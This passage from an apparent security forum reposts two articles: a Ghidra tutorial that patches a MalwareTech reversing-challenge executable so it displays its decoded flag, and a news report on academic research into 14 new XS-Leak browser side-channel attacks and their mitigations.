broadly with some nuances for specific platforms and architectures. Strategies The first step for preparing a program patch is to gauge the complexity/length of the required patch and identify roughly where it needs to be inserted. If the patch is short enough, it may be possible to directly replace existing code inline. Patches introducing completely new functionality generally cannot be written inline and will require a different strategy. In this scenario, we must locate unused bytes which are loaded from the program file into executable memory space. These code caves are commonly generated when an executable section requires specific byte alignment. Longer patches can be written into a code cave along with appropriate branching instructions to insert the patch code into the right code path. Let’s take an example to see this process in action. In case you haven’t seen them, MalwareTech has a fun set of reversing and exploitation challenges available online. Each reversing challenge presents an executable which, when executed, will display a message box containing the MD5 sum of a secret flag string. You are expected to recover the flag string using only static analysis techniques, but for this blog, we will be altering and then running the challenge program to directly print the flag. (Don’t worry, it’s not cheating if it is in the name of science, right?) Shellcode2.exe_ In this post, I will use the shellcode2 challenge, and I encourage readers to follow along and then attempt to repeat the process with a different challenge file. The objective for our patch is to reveal the flag value after it has been decoded by the shellcode and before it has been hashed. Let’s start by looking at how shellcode2.exe_ is structured: In this snippet, we see local_bc being initialized as an MD5 object followed by the construction of a stack string. When looking at the end of the entry function, we can see where the flag is hashed and the message box is created: In this snippet, the MD5 object at local_bc is being referenced to invoke the MD5::digestString() method with the address of local_2c as input. A reference to the resulting hash is stored at local_c0. The instructions from 4023a2-4023b2 pass this value into the MessageBoxA API call with a particular window title and style. Patching The first patch we’ll look at is to change the arguments to MessageBoxA so that it prints the value from local_2c rather than the value referred by local_c0. The address of the hash is loaded into EAX with the MOV instruction at 4023a9 and then pushed to the stack as an argument for MesageBoxA. This will need to be patched so that the address of local_2c is pushed instead. The LEA (Load Effective Address) instruction allows us to do just that. Begin by right-clicking the MOV instruction and selecting Patch Instruction: The instruction will change to an editable field with autocompletion: Patch this to be LEA with the operands EAX, [EBP + -0x28] so that EAX receives the address of local_2c: Note that the use of -0x28 rather than -0x2c as an offset to EBP is to account for the original EBP being pushed to the stack before EBP is loaded with the new stack pointer. The resulting offset is converted to its two’s complement as shown here: The program can now be exported from the File -> Export Program menu as PE format. Running the exe file produces our new MessageBoxA: Sursa: https://www.tripwire.com/state-of-security/security-data-protection/ghidra-101-binary-patching/
-
- 2
-
Researchers discover 14 new data-stealing web browser attacks By Bill Toulas December 3, 2021 10:34 AM 0 IT security researchers from Ruhr-Universität Bochum (RUB) and the Niederrhein University of Applied Sciences have discovered 14 new types of 'XS-Leak' cross-site leak attacks against modern web browsers, including Google Chrome, Microsoft Edge, Safari, and Mozilla Firefox. These types of side-channel attacks are called 'XS-Leaks,' and allow attacks to bypass the 'same-origin' policy in web browsers so that a malicious website can steal info in the background from a trusted website where the user enters information. "The principle of an XS-Leak is to use such side-channels available on the web to reveal sensitive information about users, such as their data in other web applications, details about their local environment, or internal networks they are connected to," explains the XS-Leaks wiki. For example, an XS-Leak attack could help a background site siphon the email inbox contents from an active tab used for accessing webmail. The process of an XS-Leak Source: XSinator Cross-site leaks aren't new, but as the researchers point out, not all of them have been identified and classified as XS-Leaks, and their root cause remains unclear. Their research aims to systematically search for new XS-Leaks, evaluate potential mitigations, and generally gain a better understanding of how they work. Finding new XS-Leaks The researchers first identified three characteristics of cross-site leaks and evaluated all inclusion methods and leak techniques for a large set of web browsers. The three main ingredients of all XS-Leaks are inclusion methods, leak techniques, and detectable differences. After creating a model based on the above, the researchers found 34 XS-Leaks, 14 of which were novel (marked with a plus sign below). All of the XS-Leaks identified in the study. Source: XSinator Next, they tested the 34 XS-Leaks against 56 combinations of browsers and operating systems to determine how vulnerable each of them was. Then they built a web application named XSinator, consisting of three components: A testing site that acts as the attacker page, implementing known and novel X-Leaks A vulnerable web app that simulates the behavior of a state-dependent resource. A database containing all previous test results. You can visit the XSinator page yourself and run the test to see how well your web browser and OS fare against the 34 X-Leaks. Testing against the latest version of Google Chrome Source: BleepingComputer You can find a full list of XS-leaks that various browsers are vulnerable to below: Sample results from the team's evaluation Source: XSinator How to defend against X-Leaks Mitigating or addressing the risks that arise from these side-channel attacks need to be resolved by browser developers. Researchers suggest denying all event handler messages, minimizing error message occurrences, applying global limit restrictions, and creating a new history property when redirection occurs. Other effective mitigation methods are using X-Frame-Options to prevent iframe elements from loading HTML resources and implementing the CORP header to control if pages can embed a resource. “COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FF's expert settings (about:config) and was initially introduced in Tor Browser.” - from the paper. One of the participating researchers, Lukas Knittel, told Bleeping Computer the following: "Depending on the website, XS-Leaks can have a severe impact on users. Users can use an up-to-date browser that allows them to disable third-party cookies. This would protect against most XS-Leaks, even when the website doesn't implement new mitigations like COOP, CORP, SameSite Cookies, and so on." - Knittel. The researcher also said they informed the web browser development teams of their findings, who are now fixing the various issues. The problems have already been fixed in the currently-available versions in some cases. As for future work, the team believes that new browser features constantly add new potential XS-Leak opportunities, so this is a space of constant interest. Also, Knittel told us that they might explore the development of a website-scanning tool, but for now, they want to focus on determining how common these flaws are in real-world websites. Sursa: https://www.bleepingcomputer.com/news/security/researchers-discover-14-new-data-stealing-web-browser-attacks/
-
- 1